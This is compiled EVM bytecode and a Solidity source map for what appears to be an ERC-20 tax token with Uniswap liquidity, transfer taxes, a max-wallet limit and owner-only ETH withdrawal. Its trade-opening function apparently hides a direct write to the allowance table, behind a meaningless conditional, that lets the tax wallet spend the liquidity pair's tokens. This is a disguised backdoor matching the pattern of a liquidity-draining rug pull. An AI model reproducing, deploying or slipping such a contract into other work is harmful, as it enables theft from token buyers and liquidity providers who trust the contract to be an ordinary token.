16fe565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105895760405162461bcd60e51b815260040161045b90611715565b60405133904780156108fc02915f818181858888f193505050501580156105b2573d5f803e3d5ffd5b50565b5f6103a0338484610bb9565b5f546001600160a01b031633146105ea5760405162461bcd60e51b815260040161045b90611715565b601354600160a01b900460ff16156106445760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045b565b600d545f906106556009600a6116f0565b610664906461f313f8806116fe565b61066f90609661174a565b61067b90613a986116fe565b610685919061174a565b6012549091506001600160a01b031663f305d71947306106b9816001600160a01b03165f9081526001602052604090205490565b5f806106cc5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610732573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610757919061175d565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107ac573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d09190611788565b5060408051808201909152601354610882919081906001600160a01b03163314610805576013546001600160a01b0316610812565b6013546001600160a01b03165b6001600160a01b039081168252600454602090920191163314610840576004546001600160a01b031661084d565b6004546001600160a01b03165b6001600160a01b0390811690915281516020928301519082165f90815260028452604080822092909316815292529020829055565b506013805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146108c55760405162461bcd60e51b815260040161045b90611715565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561090f9030906109006009600a6116f0565b610423906461f313f8806116fe565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561095f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061098391906117a7565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109e2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a0691906117a7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610a50573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a7491906117a7565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610af85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045b565b6001600160a01b038216610b595760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045b565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c1d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045b565b6001600160a01b038216610c7f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045b565b5f8111610ce05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045b565b6013545f90600160b01b900460ff161580610d045750601354600160a81b900460ff165b15610dbc576001600160a01b0384165f90815260016020526040902054610d2c9083906117c2565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610d5b90839061174a565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dae9086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610de657505f546001600160a01b03848116911614155b1561101f57600d5415610df85750600c545b6013546001600160a01b038581169116148015610e2357506012546001600160a01b03848116911614155b8015610e4757506001600160a01b0383165f9081526003602052604090205460ff16155b15610f4657600e54821115610e9e5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161045b565b600f5482610ec0856001600160a01b03165f9081526001602052604090205490565b610eca919061174a565b1115610f185760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045b565b600954600d5411610f2b57600554610f2f565b6007545b600d80549192505f610f40836117d5565b91905055505b6013546001600160a01b038481169116148015610f6c57506001600160a01b0384163014155b15610f8b57600a54600d5411610f8457600654610f88565b6008545b90505b305f90815260016020526040902054601354600160a81b900460ff16158015610fc157506013546001600160a01b038581169116145b8015610fd65750601354600160b01b900460ff165b1561101d5760105481118015610fef5750600b54600d54115b156110115761101161100c84611007846011546111ad565b6111ad565b6111c4565b4761101b47611334565b505b505b5f611035606461102f848661136f565b906113ed565b905081156110af57305f90815260016020526040902054611056908261142e565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110a69085815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546110d1908461148c565b6001600160a01b0386165f908152600160205260409020556111146110f6848361148c565b6001600160a01b0386165f908152600160205260409020549061142e565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61115d868561148c565b60405190815260200160405180910390a35050505050565b5f81848411156111985760405162461bcd60e51b815260040161045b91906114f9565b505f6111a484866117c2565b95945050505050565b5f8183116111bb57826111bd565b815b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061120a5761120a6117ed565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611261573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061128591906117a7565b81600181518110611298576112986117ed565b6001600160a01b0392831660209182029290920101526012546112be9130911684610a96565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906112f69085905f90869030904290600401611801565b5f604051808303815f87803b15801561130d575f80fd5b505af115801561131f573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561136b573d5f803e3d5ffd5b5050565b5f825f0361137e57505f6103a4565b5f61138983856116fe565b9050826113968583611872565b146111bd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045b565b5f6111bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114cd565b5f8061143a838561174a565b9050838110156111bd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045b565b5f6111bd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611175565b5f81836114ed5760405162461bcd60e51b815260040161045b91906114f9565b505f6111a48486611872565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146105b2575f80fd5b5f8060408385031215611553575f80fd5b823561155e8161152e565b946020939093013593505050565b5f805f6060848603121561157e575f80fd5b83356115898161152e565b925060208401356115998161152e565b929592945050506040919091013590565b5f602082840312156115ba575f80fd5b81356111bd8161152e565b5f80604083850312156115d6575f80fd5b82356115e18161152e565b915060208301356115f18161152e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561164a57815f1904821115611630576116306115fc565b8085161561163d57918102915b93841c9390800290611615565b509250929050565b5f82611660575060016103a4565b8161166c57505f6103a4565b8160018114611682576002811461168c576116a8565b60019150506103a4565b60ff84111561169d5761169d6115fc565b50506001821b6103a4565b5060208310610133831016604e8410600b84101617156116cb575081810a6103a4565b6116d58383611610565b805f19048211156116e8576116e86115fc565b029392505050565b5f6111bd60ff841683611652565b80820281158282048414176103a4576103a46115fc565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808201808211156103a4576103a46115fc565b5f805f6060848603121561176f575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611798575f80fd5b815180151581146111bd575f80fd5b5f602082840312156117b7575f80fd5b81516111bd8161152e565b818103818111156103a4576103a46115fc565b5f600182016117e6576117e66115fc565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156118515784516001600160a01b03168352938301939183019160010161182c565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261188c57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220edc2a783ed079cf671fa6a33286d2a8d21c4363e351ab5b7d2203a4be541e94264736f6c63430008190033

3686:7903:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5906:83;;;;;;;;;;-1:-1:-1;5976:5:0;;;;;;;;;;;;-1:-1:-1;;;5976:5:0;;;;5906:83;;;;;;;:::i;:::-;;;;;;;;6733:161;;;;;;;;;;-1:-1:-1;6733:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6733:161:0;893:187:1;4832:48:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;4832:48:0;1085:177:1;6177:97:0;;;;;;;;;;;;;:::i;6900:313::-;;;;;;;;;;-1:-1:-1;6900:313:0;;;;;:::i;:::-;;:::i;6088:83::-;;;;;;;;;;-1:-1:-1;6088:83:0;;4461:1;1870:36:1;;1858:2;1843:18;6088:83:0;1728:184:1;6286:119:0;;;;;;;;;;-1:-1:-1;6286:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6379:18:0;6352:7;6379:18;;;:9;:18;;;;;;;6286:119;1752:148;;;;;;;;;;;;;:::i;:::-;;10746:167;;;;;;;;;;;;;:::i;4657:49::-;;;;;;;;;;;;;;;;1538:79;;;;;;;;;;-1:-1:-1;1576:7:0;1603:6;1538:79;;-1:-1:-1;;;;;1603:6:0;;;2315:51:1;;2303:2;2288:18;1538:79:0;2169:203:1;4713:51:0;;;;;;;;;;;;;;;;5995:87;;;;;;;;;;-1:-1:-1;6067:7:0;;;;;;;;;;;;-1:-1:-1;;;6067:7:0;;;;5995:87;;10531:111;;;;;;;;;;;;;:::i;6411:167::-;;;;;;;;;;-1:-1:-1;6411:167:0;;;;;:::i;:::-;;:::i;9794:627::-;;;;;;;;;;;;;:::i;4771:54::-;;;;;;;;;;;;;;;;6584:143;;;;;;;;;;-1:-1:-1;6584:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6692:18:0;;;6665:7;6692:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6584:143;5532:368;;;;;;;;;;;;;:::i;6733:161::-;6808:4;6825:39;1197:10;6848:7;6857:6;6825:8;:39::i;:::-;-1:-1:-1;6882:4:0;6733:161;;;;;:::o;6177:97::-;6230:7;4521:13;4461:1;4521:2;:13;:::i;:::-;4506:28;;:12;:28;:::i;:::-;6250:16;;6177:97;:::o;6900:313::-;6998:4;7015:36;7025:6;7033:9;7044:6;7015:9;:36::i;:::-;7062:121;7071:6;1197:10;7093:89;7131:6;7093:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7093:19:0;;;;;;:11;:19;;;;;;;;1197:10;7093:33;;;;;;;;;;:37;:89::i;:::-;7062:8;:121::i;:::-;-1:-1:-1;7201:4:0;6900:313;;;;;:::o;1752:148::-;1665:6;;-1:-1:-1;;;;;1665:6:0;1197:10;1665:22;1657:67;;;;-1:-1:-1;;;1657:67:0;;;;;;;:::i;:::-;;;;;;;;;1859:1:::1;1843:6:::0;;1822:40:::1;::::0;-1:-1:-1;;;;;1843:6:0;;::::1;::::0;1822:40:::1;::::0;1859:1;;1822:40:::1;1890:1;1873:19:::0;;-1:-1:-1;;;;;;1873:19:0::1;::::0;;1752:148::o;10746:167::-;1665:6;;-1:-1:-1;;;;;1665:6:0;1197:10;1665:22;1657:67;;;;-1:-1:-1;;;1657:67:0;;;;;;;:::i;:::-;4521:13:::1;4461:1;4521:2;:13;:::i;:::-;4506:28;::::0;:12:::1;:28;:::i;:::-;10799:12;:24:::0;4521:13:::1;4461:1;4521:2;:13;:::i;:::-;4506:28;::::0;:12:::1;:28;:::i;:::-;10834:14;:26:::0;10876:29:::1;4521:13;4461:1;4521:2;:13;:::i;:::-;4506:28;::::0;:12:::1;:28;:::i;:::-;10876:29;::::0;1231:25:1;;;1219:2;1204:18;10876:29:0::1;;;;;;;10746:167::o:0;10531:111::-;1665:6;;-1:-1:-1;;;;;1665:6:0;1197:10;1665:22;1657:67;;;;-1:-1:-1;;;1657:67:0;;;;;;;:::i;:::-;10583:51:::1;::::0;10591:10:::1;::::0;10612:21:::1;10583:51:::0;::::1;;;::::0;::::1;::::0;;;10612:21;10591:10;10583:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10531:111::o:0;6411:167::-;6489:4;6506:42;1197:10;6530:9;6541:6;6506:9;:42::i;9794:627::-;1665:6;;-1:-1:-1;;;;;1665:6:0;1197:10;1665:22;1657:67;;;;-1:-1:-1;;;1657:67:0;;;;;;;:::i;:::-;9850:11:::1;::::0;-1:-1:-1;;;9850:11:0;::::1;;;9849:12;9841:48;;;::::0;-1:-1:-1;;;9841:48:0;;5015:2:1;9841:48:0::1;::::0;::::1;4997:21:1::0;5054:2;5034:18;;;5027:30;5093:25;5073:18;;;5066:53;5136:18;;9841:48:0::1;4813:347:1::0;9841:48:0::1;9936:9;::::0;9900:13:::1;::::0;4521::::1;4461:1;4521:2;:13;:::i;:::-;4506:28;::::0;:12:::1;:28;:::i;:::-;9915:13;::::0;9925:3:::1;9915:13;:::i;:::-;9914:21;::::0;9930:5:::1;9914:21;:::i;:::-;:31;;;;:::i;:::-;9956:11;::::0;9900:45;;-1:-1:-1;;;;;;9956:11:0::1;:27;9991:21;10036:4;10056:24;10036:4:::0;-1:-1:-1;;;;;6379:18:0;6352:7;6379:18;;;:9;:18;;;;;;;6286:119;10056:24:::1;10095:1;10111::::0;10127:7:::1;1576::::0;1603:6;-1:-1:-1;;;;;1603:6:0;;1538:79;10127:7:::1;9956:219;::::0;::::1;::::0;;;-1:-1:-1;;;;;;9956:219:0;;;-1:-1:-1;;;;;5654:15:1;;;9956:219:0::1;::::0;::::1;5636:34:1::0;5686:18;;;5679:34;;;;5729:18;;;5722:34;;;;5772:18;;;5765:34;5836:15;;;5815:19;;;5808:44;10149:15:0::1;5868:19:1::0;;;5861:35;5570:19;;9956:219:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10193:9:0::1;::::0;10220:11:::1;::::0;10186:63:::1;::::0;-1:-1:-1;;;10186:63:0;;-1:-1:-1;;;;;10220:11:0;;::::1;10186:63;::::0;::::1;6392:51:1::0;-1:-1:-1;;6459:18:1;;;6452:34;10193:9:0;::::1;::::0;-1:-1:-1;10186:25:0::1;::::0;6365:18:1;;10186:63:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10260:104:0::1;::::0;;;;::::1;::::0;;;10280:9:::1;::::0;10260:104:::1;::::0;;;;-1:-1:-1;;;;;10280:9:0::1;10268:10;:21;:41;;10300:9;::::0;-1:-1:-1;;;;;10300:9:0::1;10268:41;;;10290:9;::::0;-1:-1:-1;;;;;10290:9:0::1;10268:41;-1:-1:-1::0;;;;;10260:104:0;;::::1;::::0;;10323:10:::1;::::0;10260:104:::1;::::0;;::::1;::::0;10323:10:::1;10311;:22;:44;;10345:10;::::0;-1:-1:-1;;;;;10345:10:0::1;10311:44;;;10334:10;::::0;-1:-1:-1;;;;;10334:10:0::1;10311:44;-1:-1:-1::0;;;;;10260:104:0;;::::1;::::0;;;11518:7;;;11539;;;;11547:17;;;11505:12;11547:17;;;:11;:17;;;;;;:23;;;;;;;;;;:31;;;11431:155;10260:104:::1;-1:-1:-1::0;10375:11:0::1;:18:::0;;-1:-1:-1;;;;10395:18:0;-1:-1:-1;;;10395:18:0;;;9794:627::o;5532:368::-;1665:6;;-1:-1:-1;;;;;1665:6:0;1197:10;1665:22;1657:67;;;;-1:-1:-1;;;1657:67:0;;;;;;;:::i;:::-;5578:11:::1;:100:::0;;-1:-1:-1;;;;;;5578:100:0::1;5625:42;5578:100:::0;;::::1;::::0;;;5689:56:::1;::::0;5706:4:::1;::::0;4521:13:::1;4461:1;4521:2;:13;:::i;:::-;4506:28;::::0;:12:::1;:28;:::i;5689:56::-;5786:11;;;;;;;;;-1:-1:-1::0;;;;;5786:11:0::1;-1:-1:-1::0;;;;;5786:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5768:51:0::1;;5842:4;5862:11;;;;;;;;;-1:-1:-1::0;;;;;5862:11:0::1;-1:-1:-1::0;;;;;5862:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5768:123;::::0;-1:-1:-1;;;;;;5768:123:0::1;::::0;;;;;;-1:-1:-1;;;;;7265:15:1;;;5768:123:0::1;::::0;::::1;7247:34:1::0;7317:15;;7297:18;;;7290:43;7182:18;;5768:123:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5756:9;:135:::0;;-1:-1:-1;;;;;;5756:135:0::1;-1:-1:-1::0;;;;;5756:135:0;;;::::1;::::0;;;::::1;::::0;;5532:368::o;7219:335::-;-1:-1:-1;;;;;7312:19:0;;7304:68;;;;-1:-1:-1;;;7304:68:0;;7546:2:1;7304:68:0;;;7528:21:1;7585:2;7565:18;;;7558:30;7624:34;7604:18;;;7597:62;-1:-1:-1;;;7675:18:1;;;7668:34;7719:19;;7304:68:0;7344:400:1;7304:68:0;-1:-1:-1;;;;;7391:21:0;;7383:68;;;;-1:-1:-1;;;7383:68:0;;7951:2:1;7383:68:0;;;7933:21:1;7990:2;7970:18;;;7963:30;8029:34;8009:18;;;8002:62;-1:-1:-1;;;8080:18:1;;;8073:32;8122:19;;7383:68:0;7749:398:1;7383:68:0;-1:-1:-1;;;;;7462:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7514:32;;1231:25:1;;;7514:32:0;;1204:18:1;7514:32:0;;;;;;;7219:335;;;:::o;7566:2222::-;-1:-1:-1;;;;;7656:18:0;;7648:68;;;;-1:-1:-1;;;7648:68:0;;8354:2:1;7648:68:0;;;8336:21:1;8393:2;8373:18;;;8366:30;8432:34;8412:18;;;8405:62;-1:-1:-1;;;8483:18:1;;;8476:35;8528:19;;7648:68:0;8152:401:1;7648:68:0;-1:-1:-1;;;;;7735:16:0;;7727:64;;;;-1:-1:-1;;;7727:64:0;;8760:2:1;7727:64:0;;;8742:21:1;8799:2;8779:18;;;8772:30;8838:34;8818:18;;;8811:62;-1:-1:-1;;;8889:18:1;;;8882:33;8932:19;;7727:64:0;8558:399:1;7727:64:0;7821:1;7810:8;:12;7802:66;;;;-1:-1:-1;;;7802:66:0;;9164:2:1;7802:66:0;;;9146:21:1;9203:2;9183:18;;;9176:30;9242:34;9222:18;;;9215:62;-1:-1:-1;;;9293:18:1;;;9286:39;9342:19;;7802:66:0;8962:405:1;7802:66:0;7910:11;;7879:13;;-1:-1:-1;;;7910:11:0;;;;7909:12;;:22;;-1:-1:-1;7925:6:0;;-1:-1:-1;;;7925:6:0;;;;7909:22;7905:223;;;-1:-1:-1;;;;;7966:15:0;;;;;;:9;:15;;;;;;:26;;7984:8;;7966:26;:::i;:::-;-1:-1:-1;;;;;7948:15:0;;;;;;;:9;:15;;;;;;:44;;;;8023:13;;;;;;;:24;;8039:8;;8023:24;:::i;:::-;-1:-1:-1;;;;;8007:13:0;;;;;;;:9;:13;;;;;;;:40;;;;8067:28;;;;;;;;;;8086:8;1231:25:1;;1219:2;1204:18;;1085:177;8067:28:0;;;;;;;;8110:7;7566:2222;;;:::o;7905:223::-;1576:7;1603:6;-1:-1:-1;;;;;8142:15:0;;;1603:6;;8142:15;;;;:32;;-1:-1:-1;1576:7:0;1603:6;-1:-1:-1;;;;;8161:13:0;;;1603:6;;8161:13;;8142:32;8138:1231;;;8194:9;;:11;8191:72;;-1:-1:-1;8234:12:0;;8191:72;8289:9;;-1:-1:-1;;;;;8281:17:0;;;8289:9;;8281:17;:47;;;;-1:-1:-1;8316:11:0;;-1:-1:-1;;;;;8302:26:0;;;8316:11;;8302:26;;8281:47;:71;;;;-1:-1:-1;;;;;;8334:18:0;;;;;;:14;:18;;;;;;;;8332:20;8281:71;8277:389;;;8394:12;;8382:8;:24;;8374:62;;;;-1:-1:-1;;;8374:62:0;;9707:2:1;8374:62:0;;;9689:21:1;9746:2;9726:18;;;9719:30;9785:27;9765:18;;;9758:55;9830:18;;8374:62:0;9505:349:1;8374:62:0;8491:14;;8479:8;8463:13;8473:2;-1:-1:-1;;;;;6379:18:0;6352:7;6379:18;;;:9;:18;;;;;;;6286:119;8463:13;:24;;;;:::i;:::-;:42;;8455:81;;;;-1:-1:-1;;;8455:81:0;;10061:2:1;8455:81:0;;;10043:21:1;10100:2;10080:18;;;10073:30;10139:28;10119:18;;;10112:56;10185:18;;8455:81:0;9859:350:1;8455:81:0;8575:15;;8565:9;;:25;8564:55;;8605:14;;8564:55;;;8592:12;;8564:55;8639:9;:11;;8555:65;;-1:-1:-1;8639:9:0;:11;;;:::i;:::-;;;;;;8277:389;8689:9;;-1:-1:-1;;;;;8683:15:0;;;8689:9;;8683:15;:39;;;;-1:-1:-1;;;;;;8702:20:0;;8717:4;8702:20;;8683:39;8680:147;;;8763:16;;8753:9;;:26;8752:58;;8795:15;;8752:58;;;8781:13;;8752:58;8743:68;;8680:147;8890:4;8841:28;6379:18;;;:9;:18;;;;;;8916:6;;-1:-1:-1;;;8916:6:0;;;;8915:7;:26;;;;-1:-1:-1;8932:9:0;;-1:-1:-1;;;;;8926:15:0;;;8932:9;;8926:15;8915:26;:41;;;;-1:-1:-1;8945:11:0;;-1:-1:-1;;;8945:11:0;;;;8915:41;8911:447;;;9003:17;;8980:20;:40;:74;;;;;9036:18;;9024:9;;:30;8980:74;8977:171;;;9077:71;9094:53;9098:8;9108:38;9112:20;9134:11;;9108:3;:38::i;:::-;9094:3;:53::i;:::-;9077:16;:71::i;:::-;9196:21;9288:35;9301:21;9288:12;:35::i;:::-;8958:400;8911:447;8176:1193;8138:1231;9379:17;9397:28;9421:3;9397:19;:5;9407:8;9397:9;:19::i;:::-;:23;;:28::i;:::-;9379:46;-1:-1:-1;9439:9:0;;9436:163;;9507:4;9489:24;;;;:9;:24;;;;;;:39;;9518:9;9489:28;:39::i;:::-;9482:4;9464:24;;;;:9;:24;;;;;;;:64;;;;9548:39;;-1:-1:-1;;;;;9548:39:0;;;;;;;9577:9;1231:25:1;;1219:2;1204:18;;1085:177;9548:39:0;;;;;;;;9436:163;-1:-1:-1;;;;;9625:15:0;;;;;;:9;:15;;;;;;:29;;9645:8;9625:19;:29::i;:::-;-1:-1:-1;;;;;9609:15:0;;;;;;:9;:15;;;;;:45;9679:42;9697:23;:8;9710:9;9697:12;:23::i;:::-;-1:-1:-1;;;;;9679:13:0;;;;;;:9;:13;;;;;;;:17;:42::i;:::-;-1:-1:-1;;;;;9665:13:0;;;;;;;:9;:13;;;;;:56;;;;9737:43;;;9756:23;:8;9769:9;9756:12;:23::i;:::-;9737:43;;1231:25:1;;;1219:2;1204:18;9737:43:0;;;;;;;7637:2151;;7566:2222;;;:::o;2262:190::-;2348:7;2384:12;2376:6;;;;2368:29;;;;-1:-1:-1;;;2368:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2408:9:0;2420:5;2424:1;2420;:5;:::i;:::-;2408:17;2262:190;-1:-1:-1;;;;;2262:190:0:o;10427:98::-;10484:7;10511:1;10509;:3;10508:9;;10516:1;10508:9;;;10514:1;10508:9;10501:16;10427:98;-1:-1:-1;;;10427:98:0:o;10919:471::-;5198:6;:13;;-1:-1:-1;;;;5198:13:0;-1:-1:-1;;;5198:13:0;;;11021:16:::1;::::0;;11035:1:::1;11021:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11021:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11021:16:0::1;10997:40;;11066:4;11048;11053:1;11048:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11048:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11092:11:::1;::::0;:18:::1;::::0;;-1:-1:-1;;;11092:18:0;;;;:11;;;::::1;::::0;:16:::1;::::0;:18:::1;::::0;;::::1;::::0;11048:7;;11092:18;;;;;:11;:18:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11082:4;11087:1;11082:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11082:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;11153:11:::1;::::0;11121:58:::1;::::0;11138:4:::1;::::0;11153:11:::1;11167::::0;11121:8:::1;:58::i;:::-;11190:11;::::0;:192:::1;::::0;-1:-1:-1;;;11190:192:0;;-1:-1:-1;;;;;11190:11:0;;::::1;::::0;:62:::1;::::0;:192:::1;::::0;11267:11;;11190::::1;::::0;11309:4;;11336::::1;::::0;11356:15:::1;::::0;11190:192:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5234:6:0;:14;;-1:-1:-1;;;;5234:14:0;;;-1:-1:-1;;;;10919:471:0:o;10648:92::-;10705:10;;:27;;-1:-1:-1;;;;;10705:10:0;;;;:27;;;;;10725:6;;10705:10;:27;:10;:27;10725:6;10705:10;:27;;;;;;;;;;;;;;;;;;;;;10648:92;:::o;2460:246::-;2518:7;2542:1;2547;2542:6;2538:47;;-1:-1:-1;2572:1:0;2565:8;;2538:47;2595:9;2607:5;2611:1;2607;:5;:::i;:::-;2595:17;-1:-1:-1;2640:1:0;2631:5;2635:1;2595:17;2631:5;:::i;:::-;:10;2623:56;;;;-1:-1:-1;;;2623:56:0;;12027:2:1;2623:56:0;;;12009:21:1;12066:2;12046:18;;;12039:30;12105:34;12085:18;;;12078:62;-1:-1:-1;;;12156:18:1;;;12149:31;12197:19;;2623:56:0;11825:397:1;2714:132:0;2772:7;2799:39;2803:1;2806;2799:39;;;;;;;;;;;;;;;;;:3;:39::i;1931:179::-;1989:7;;2021:5;2025:1;2021;:5;:::i;:::-;2009:17;;2050:1;2045;:6;;2037:46;;;;-1:-1:-1;;;2037:46:0;;12429:2:1;2037:46:0;;;12411:21:1;12468:2;12448:18;;;12441:30;12507:29;12487:18;;;12480:57;12554:18;;2037:46:0;12227:351:1;2118:136:0;2176:7;2203:43;2207:1;2210;2203:43;;;;;;;;;;;;;;;;;:3;:43::i;2854:189::-;2940:7;2975:12;2968:5;2960:28;;;;-1:-1:-1;;;2960:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2999:9:0;3011:5;3015:1;3011;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:315;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659:7;;-1:-1:-1;;;1713:2:1;1698:18;;;;1685:32;;1267:456::o;1917:247::-;1976:6;2029:2;2017:9;2008:7;2004:23;2000:32;1997:52;;;2045:1;2042;2035:12;1997:52;2084:9;2071:23;2103:31;2128:5;2103:31;:::i;2377:388::-;2445:6;2453;2506:2;2494:9;2485:7;2481:23;2477:32;2474:52;;;2522:1;2519;2512:12;2474:52;2561:9;2548:23;2580:31;2605:5;2580:31;:::i;:::-;2630:5;-1:-1:-1;2687:2:1;2672:18;;2659:32;2700:33;2659:32;2700:33;:::i;:::-;2752:7;2742:17;;;2377:388;;;;;:::o;2770:127::-;2831:10;2826:3;2822:20;2819:1;2812:31;2862:4;2859:1;2852:15;2886:4;2883:1;2876:15;2902:416;2991:1;3028:5;2991:1;3042:270;3063:7;3053:8;3050:21;3042:270;;;3122:4;3118:1;3114:6;3110:17;3104:4;3101:27;3098:53;;;3131:18;;:::i;:::-;3181:7;3171